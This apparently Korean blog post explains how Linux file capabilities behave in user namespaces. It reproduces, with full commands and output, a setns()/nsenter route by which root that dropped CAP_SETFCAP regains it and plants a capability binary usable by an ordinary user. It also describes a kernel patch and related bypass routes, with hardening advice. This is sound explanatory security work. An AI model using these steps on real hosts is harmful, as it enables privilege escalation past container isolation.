user namespace에서 CAP_SETFCAP이 새는 경로 — 파일 capability와 setns() 실험

컨테이너 런타임은 user namespace 안에서 root를 바깥 root에 그대로 매핑(root-mapped)하기도 한다. 이때 안쪽 root가 파일에 capability를 붙이면 그 capability는 바깥에서도 유효하다. 그래서 런타임은 초기화 후 CAP_SETFCAP을 버린다. 조셉 바식(Josef Bacik)은 이렇게 버린 권한을 다시 얻는 경로를 찾아 패치를 올렸다.

이 글에서는 파일 capability가 user namespace에서 동작하는 방식을 정리한다. 또한 setns()로 CAP_SETFCAP을 되찾는 경로를 현재 커널에서 재현한다. 실험 환경은 Ubuntu 24.04, 커널 6.8.0-147-generic, util-linux 2.39.3이다.

배경 개념

개념요점
user namespacenamespace를 만든 프로세스는 그 안에서 모든 capability를 가진다. 바깥 권한은 늘지 않는다
uid_map안쪽 UID와 바깥 UID의 대응. 한 번만 쓸 수 있다. 권한이 없으면 자기 UID에만 매핑할 수 있다
파일 capabilitysecurity.capability xattr. 이 파일을 실행하는 프로세스가 지정한 capability를 얻는다
v2 xattr소유 namespace 정보가 없다. 모든 namespace에서 유효하다
v3 xattrrootid를 기록한다. 그 UID가 root인 namespace 안에서만 유효하다

일반 사용자가 붙인 capability는 v3로 저장된다

UID 1000 사용자가 자기 user namespace 안에서 setcap을 실행한다.

cp /usr/sbin/capsh ./capsh-v3
unshare -Ur setcap cap_net_raw+ep ./capsh-v3
getcap -n ./capsh-v3
python3 -c "import os,sys;print(os.getxattr(sys.argv[1],'security.capability').hex())" ./capsh-v3
/tmp/uns-demo/u/capsh-v3 cap_net_raw=ep [rootid=1000]
0100000300200000000000000000000000000000e8030000

커널이 xattr을 v3로 바꿔 저장했다. 바이트를 리틀 엔디언으로 읽으면 다음과 같다.

바이트값의미
010000030x03000001revision 3, effective 플래그
002000000x00002000permitted 비트 13 = CAP_NET_RAW
00000000 × 30inheritable, 상위 32비트
e80300001000rootid

같은 사용자가 바깥에서 이 파일을 실행하면 capability를 얻지 못한다.

$ ./capsh-v3 --print | grep -E '^Current'
Current: =
Current IAB: 

5.12가 넣은 방어

root-mapped namespace에서는 rootid가 0이다. 그래서 커널은 v2로 저장하고, capability는 바깥에서도 유효하다. 5.12는 CAP_SETFCAP이 없는 프로세스가 root 매핑을 만들지 못하게 했다. 아래 명령은 모두 root로 실행했다.

capsh --drop=cap_setfcap -- -c "setcap cap_net_raw+ep ./capsh-copy; echo rc=\$?"
capsh --drop=cap_setfcap -- -c "unshare -U --map-user=0 --map-group=0 id; echo rc=\$?"
unable to set CAP_SETFCAP effective capability: Operation not permitted
rc=1
unshare: write failed /proc/self/uid_map: Operation not permitted
rc=1

CAP_SETFCAP을 버린 root는 파일 capability를 직접 쓸 수 없다. 새 root-mapped namespace를 만들어 권한을 되찾는 것도 막혔다.

setns()로 CAP_SETFCAP 되찾기

바식이 지적한 첫 번째 경로를 재현한다. 프로세스 A는 모든 capability를 가진 root다. A가 root-mapped namespace를 만든다. 프로세스 B는 CAP_SETFCAP이 없는 root다. B는 setns()로 A의 namespace에 들어간다.

# A: 모든 capability를 가진 root가 root-mapped namespace를 만든다
unshare -U --map-user=0 --map-group=0 sleep 300 & APID=$!
cat /proc/$APID/uid_map

# B: CAP_SETFCAP을 버린 root가 A의 namespace에 들어간다
capsh --drop=cap_setfcap -- -c "grep CapEff /proc/self/status; \
  nsenter -U -t $APID sh -c 'grep CapEff /proc/self/status; \
  setcap cap_net_raw+ep ./capsh-copy; echo rc=\$?'"

getcap -n ./capsh-copy
python3 -c "import os,sys;print(os.getxattr(sys.argv[1],'security.capability').hex())" ./capsh-copy
         0          0          1
CapEff:	000001ff7fffffff
CapEff:	000001ffffffffff
rc=0
/tmp/uns-demo/capsh-copy cap_net_raw=ep
0100000200200000000000000000000000000000

B의 capability는 40개에서 41개로 돌아왔다. 빠졌던 비트 31이 CAP_SETFCAP이다. 저장된 xattr은 rootid가 없는 v2다.

$ capsh --decode=000001ffffffffff | tr , "\n" | grep -c cap_
41
$ capsh --decode=000001ff7fffffff | tr , "\n" | grep -c cap_
40

바깥의 일반 사용자(UID 1000)가 이 파일을 실행하면 CAP_NET_RAW를 얻는다.

$ su noble -c "./capsh-copy --print | grep -E '^Current'"
Current: cap_net_raw=ep
Current IAB: 

바식 패치가 막는 경로

5.12의 방어는 namespace를 만든 프로세스가 CAP_SETFCAP을 가졌는지만 불리언(parent_could_setfcap)으로 기록한다. 패치는 이 값을 정수 setfcap_level로 바꾼다. 이 값은 CAP_SETFCAP이 상위 namespace 몇 단계까지 유효한지 나타낸다.

우회 경로현재 커널패치 후
B가 A의 namespace에 setns()성공 (위 실험)B의 setfcap_level이 대상보다 낮으면 EPERM
A가 열어 둔 uid_map fd를 B가 쓴다열 때만 검사하므로 성공쓸 때 상위 root 매핑까지 닿는지 검사
A가 B의 새 namespace에 root 매핑을 쓴다성공파일 capability를 쓸 때 writer의 setfcap_level 검사
B가 같은 euid인 A를 ptrace()성공tracer의 setfcap_level이 낮으면 거부

아직 매핑을 쓰지 않은 namespace도 검사 대상이다. 나중에 root-mapped가 될 수 있기 때문이다. 시리즈는 v8까지 나왔고, 최근 버전은 테스트 추가에 집중했다.

주의사항

  • root-mapped user namespace를 보안 경계로 쓰지 말 것. 파일 capability만의 문제가 아니다. SCM_CREDENTIALS로 전달되는 UID도 바깥에서 root로 보인다. 공유 파일 시스템에 만든 setuid 파일도 마찬가지다.
  • CAP_SETFCAP을 버린 프로세스를 다른 root 프로세스와 같은 euid로 두지 말 것. 위 실험처럼 setns()나 ptrace()로 권한을 되찾을 수 있다.
  • 권한을 버리기 전에 uid_map fd를 닫을 것. 현재 커널은 쓰기 시점이 아니라 열기 시점에 권한을 검사한다.
  • 패치가 들어간 커널에서는 setns() 실패를 처리할 것. 지금은 성공하는 호출이 EPERM을 돌려줄 수 있다.
  • 실험은 버려도 되는 호스트에서만 할 것. 일반 사용자가 실행할 수 있는 capability 파일이 실제로 생긴다.

마무리

user namespace의 파일 capability 격리는 rootid 하나에 기대고 있다. root-mapped namespace에서는 이 값이 0이 되어 격리가 사라진다. 바식의 패치는 그 위에 “권한이 몇 단계까지 닿는가”라는 검사를 더한다. 하지만 경로가 많은 만큼, root를 root에 매핑하는 설계 자체를 피하는 편이 안전하다.

참고

답글 남기기